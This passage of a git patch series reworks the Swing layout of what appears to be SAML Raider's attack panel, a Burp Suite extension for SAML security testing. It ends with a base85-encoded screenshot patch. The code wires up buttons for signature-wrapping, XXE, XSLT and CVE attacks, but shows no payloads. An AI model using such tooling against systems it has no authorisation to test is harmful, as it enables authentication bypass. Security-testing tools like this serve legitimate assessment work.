xswAttacksPanel.setBorder(BorderFactory.createTitledBorder("XSW Attacks")); - xswAttacksPanel.setLayout(new MigLayout()); - xswAttacksPanel.add(btnXSWHelp, "wrap"); - xswAttacksPanel.add(cmbboxXSW, "split 4"); - xswAttacksPanel.add(btnMatchAndReplace); - xswAttacksPanel.add(btnXSWPreview); - xswAttacksPanel.add(btnXSWApply, "wrap"); - btnTestXXE.addActionListener(event -> Optional.ofNullable(JOptionPane.showInputDialog(btnXSWApply, "Enter Burp Collaborator URL (e.g. https://xyz.burpcollaborator.net)")) .ifPresent(controller::applyXXE)); - btnTestXSLT.addActionListener(event -> Optional.ofNullable(JOptionPane.showInputDialog(btnXSWApply, "Enter Burp Collaborator URL (e.g. https://xyz.burpcollaborator.net)")) .ifPresent(controller::applyXSLT)); - var xmlAttacksPanel = new JPanel(); - xmlAttacksPanel.setBorder(BorderFactory.createTitledBorder("XML Attacks")); - xmlAttacksPanel.setLayout(new MigLayout()); - xmlAttacksPanel.add(btnTestXXE, "split 2"); - xmlAttacksPanel.add(btnTestXSLT, "wrap"); - cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{ - CVE_2022_41912.CVE, - CVE_2025_23369.CVE, - CVE_2025_25291.CVE, - CVE_2025_25292.CVE - })); - + CVE_2022_41912.CVE, CVE_2025_23369.CVE, + CVE_2025_25291.CVE, CVE_2025_25292.CVE })); btnCVEApply.addActionListener(event -> controller.applyCVE()); - btnCVEHelp.addActionListener(event -> controller.showCVEHelp()); - var cvePanel = new JPanel(); - cvePanel.setBorder(BorderFactory.createTitledBorder("CVEs")); - cvePanel.setLayout(new MigLayout()); - cvePanel.add(cmbboxCVE); - cvePanel.add(btnCVEApply); - cvePanel.add(btnCVEHelp, "wrap"); - btnSignatureHelp.addActionListener(event -> controller.showSignatureHelp()); - btnSignatureRemove.addActionListener(event -> controller.removeSignature()); - btnResignAssertion.addActionListener(event -> controller.resignAssertion()); - btnSendCertificate.addActionListener(event -> controller.sendToCertificatesTab()); - btnResignMessage.addActionListener(event -> controller.resignMessage()); - var signatureAttacksPanel = new JPanel(); - signatureAttacksPanel.setBorder(BorderFactory.createTitledBorder("Signature Attacks")); - signatureAttacksPanel.setLayout(new MigLayout()); - signatureAttacksPanel.add(btnSignatureHelp, "wrap"); - signatureAttacksPanel.add(btnSignatureRemove, "split 2"); - signatureAttacksPanel.add(btnSendCertificate, "wrap"); - signatureAttacksPanel.add(cmbboxCertificate, "split 3"); - signatureAttacksPanel.add(btnResignAssertion); - signatureAttacksPanel.add(btnResignMessage, "wrap"); - - var actionPanels = new JPanel(); - var actionPanelConstraints = "wrap"; - actionPanels.setLayout(new MigLayout()); - actionPanels.add(samlMessagePanel, actionPanelConstraints); - actionPanels.add(xswAttacksPanel, actionPanelConstraints); - actionPanels.add(cvePanel, actionPanelConstraints); - actionPanels.add(xmlAttacksPanel, actionPanelConstraints); - actionPanels.add(signatureAttacksPanel, actionPanelConstraints); - - var scrollPane = new JScrollPane(actionPanels); - scrollPane.setBorder(new EmptyBorder(0, 0, 0, 0)); + // --- Compact layout: one row per category --- + var panel = new JPanel(new MigLayout("insets 4 6 4 6, gap 4 2", "", "")); + + // Row 1: Message actions + panel.add(new JLabel("Message"), "split"); + panel.add(btnMessageReset); + panel.add(btnFormatXml, "wrap"); + + // Row 2: XSW + panel.add(new JLabel("XSW"), "split"); + panel.add(cmbboxXSW); + panel.add(btnXSWApply); + panel.add(btnMatchAndReplace); + panel.add(btnXSWPreview); + panel.add(btnXSWHelp, "wrap"); + + // Row 3: CVE + XML attacks + panel.add(new JLabel("CVE"), "split"); + panel.add(cmbboxCVE); + panel.add(btnCVEApply); + panel.add(btnCVEHelp); + panel.add(new JLabel(" XML"), "gapleft 12"); + panel.add(btnTestXXE); + panel.add(btnTestXSLT, "wrap"); + + // Row 4: Signatures + panel.add(new JLabel("Signing"), "split"); + panel.add(cmbboxCertificate); + panel.add(btnResignAssertion); + panel.add(btnResignMessage); + panel.add(btnSignatureRemove); + panel.add(btnSendCertificate); + panel.add(btnSignatureHelp, "wrap"); setLayout(new BorderLayout()); - add(scrollPane, BorderLayout.CENTER); + add(panel, BorderLayout.NORTH); } public void setCertificateList(List list) { From 376c258f1ec488c426fadd1ad0cfe44fb15a5b7a Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:13:56 -0500 Subject: [PATCH 11/27] Add row spacing and rename Send Certificate button MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Increase vertical gap between rows (2px → 6px) and padding around edges. Rename 'Send Certificate to SAML Raider Certificates' → 'Store Certificate'. --- src/main/java/gui/SamlPanelAction.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index ee8c056..db12b07 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -56,7 +56,7 @@ public class SamlPanelAction extends JPanel { private final JComboBox cmbboxCertificate = new JComboBox<>(); private final JButton btnSignatureRemove = new JButton("Remove Signatures"); private final JButton btnResignAssertion = new JButton("(Re-)Sign Assertion"); - private final JButton btnSendCertificate = new JButton("Send Certificate to SAML Raider Certificates"); + private final JButton btnSendCertificate = new JButton("Store Certificate"); private final JButton btnResignMessage = new JButton("(Re-)Sign Message"); @@ -102,7 +102,7 @@ private void initialize() { btnResignMessage.addActionListener(event -> controller.resignMessage()); // --- Compact layout: one row per category --- - var panel = new JPanel(new MigLayout("insets 4 6 4 6, gap 4 2", "", "")); + var panel = new JPanel(new MigLayout("insets 6 8 6 8, gap 4 6", "", "")); // Row 1: Message actions panel.add(new JLabel("Message"), "split"); From 641ab97b6b6f35d8ce69e438491f1e0674445b00 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:16:43 -0500 Subject: [PATCH 12/27] Improve attack panel section clarity Add bold section labels and horizontal separators between groups: Message | separator | XSW / CVE / XML | separator | Signing Split CVE and XML into separate rows for clarity. Move Store Certificate under Signing section where it belongs. --- src/main/java/gui/SamlMain.java | 2 +- src/main/java/gui/SamlPanelAction.java | 44 +++++++++++++++++++------- 2 files changed, 33 insertions(+), 13 deletions(-) diff --git a/src/main/java/gui/SamlMain.java b/src/main/java/gui/SamlMain.java index bf1cf0b..22a4668 100644 --- a/src/main/java/gui/SamlMain.java +++ b/src/main/java/gui/SamlMain.java @@ -28,7 +28,7 @@ private void initializeUI() { JPanel splitPaneActionTop = new JPanel(); splitPaneActionTop.setLayout(new BorderLayout()); - splitPaneActionTop.setPreferredSize(new Dimension(0, 130)); + splitPaneActionTop.setPreferredSize(new Dimension(0, 195)); splitPaneActionTop.add(panelAction); xmlEditorAction = new SamlXmlEditor(); diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java index db12b07..7a5371d 100644 --- a/src/main/java/gui/SamlPanelAction.java +++ b/src/main/java/gui/SamlPanelAction.java @@ -7,6 +7,7 @@ import helpers.CVE_2025_25292; import java.awt.BorderLayout; import java.awt.Component; +import java.awt.Font; import java.awt.GridBagConstraints; import java.awt.GridBagLayout; import java.awt.event.ActionEvent; @@ -101,44 +102,63 @@ private void initialize() { btnSendCertificate.addActionListener(event -> controller.sendToCertificatesTab()); btnResignMessage.addActionListener(event -> controller.resignMessage()); - // --- Compact layout: one row per category --- - var panel = new JPanel(new MigLayout("insets 6 8 6 8, gap 4 6", "", "")); + // --- Compact layout: labeled sections with separators --- + var panel = new JPanel(new MigLayout("insets 6 8 6 8, gap 4 6, fillx", "[grow]", "")); - // Row 1: Message actions - panel.add(new JLabel("Message"), "split"); + // Row 1: Message + panel.add(sectionLabel("Message"), "split"); panel.add(btnMessageReset); panel.add(btnFormatXml, "wrap"); + panel.add(separator(), "growx, wrap"); + // Row 2: XSW - panel.add(new JLabel("XSW"), "split"); + panel.add(sectionLabel("XSW"), "split"); panel.add(cmbboxXSW); panel.add(btnXSWApply); panel.add(btnMatchAndReplace); panel.add(btnXSWPreview); panel.add(btnXSWHelp, "wrap"); - // Row 3: CVE + XML attacks - panel.add(new JLabel("CVE"), "split"); + // Row 3: CVE + panel.add(sectionLabel("CVE"), "split"); panel.add(cmbboxCVE); panel.add(btnCVEApply); - panel.add(btnCVEHelp); - panel.add(new JLabel(" XML"), "gapleft 12"); + panel.add(btnCVEHelp, "wrap"); + + // Row 4: XML + panel.add(sectionLabel("XML"), "split"); panel.add(btnTestXXE); panel.add(btnTestXSLT, "wrap"); - // Row 4: Signatures - panel.add(new JLabel("Signing"), "split"); + panel.add(separator(), "growx, wrap"); + + // Row 5: Signing + panel.add(sectionLabel("Signing"), "split"); panel.add(cmbboxCertificate); panel.add(btnResignAssertion); panel.add(btnResignMessage); panel.add(btnSignatureRemove); - panel.add(btnSendCertificate); panel.add(btnSignatureHelp, "wrap"); + // Row 6: Store Certificate (under Signing) + panel.add(new JLabel(""), "split"); // indent to align + panel.add(btnSendCertificate, "wrap"); + setLayout(new BorderLayout()); add(panel, BorderLayout.NORTH); } + private static JLabel sectionLabel(String text) { + var label = new JLabel(text); + label.setFont(label.getFont().deriveFont(Font.BOLD, 11f)); + return label; + } + + private static javax.swing.JSeparator separator() { + return new javax.swing.JSeparator(javax.swing.SwingConstants.HORIZONTAL); + } + public void setCertificateList(List list) { DefaultComboBoxModel model = new DefaultComboBoxModel(); From 07c9d92b81319a0819209728dadf3241c6510cd9 Mon Sep 17 00:00:00 2001 From: intrudir <24526564+intrudir@users.noreply.github.com> Date: Wed, 4 Feb 2026 16:20:23 -0500 Subject: [PATCH 13/27] Update SAML Attacks screenshot in README --- doc/saml_attacks.png | Bin 229733 -> 269259 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/doc/saml_attacks.png b/doc/saml_attacks.png index a647cd53a2cd3f4e5c2118bbe98ae298aa60cf3a..11678e2e2f6fa48bd5f7524400fa879cd5951fdd 100644 GIT binary patch literal 269259 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 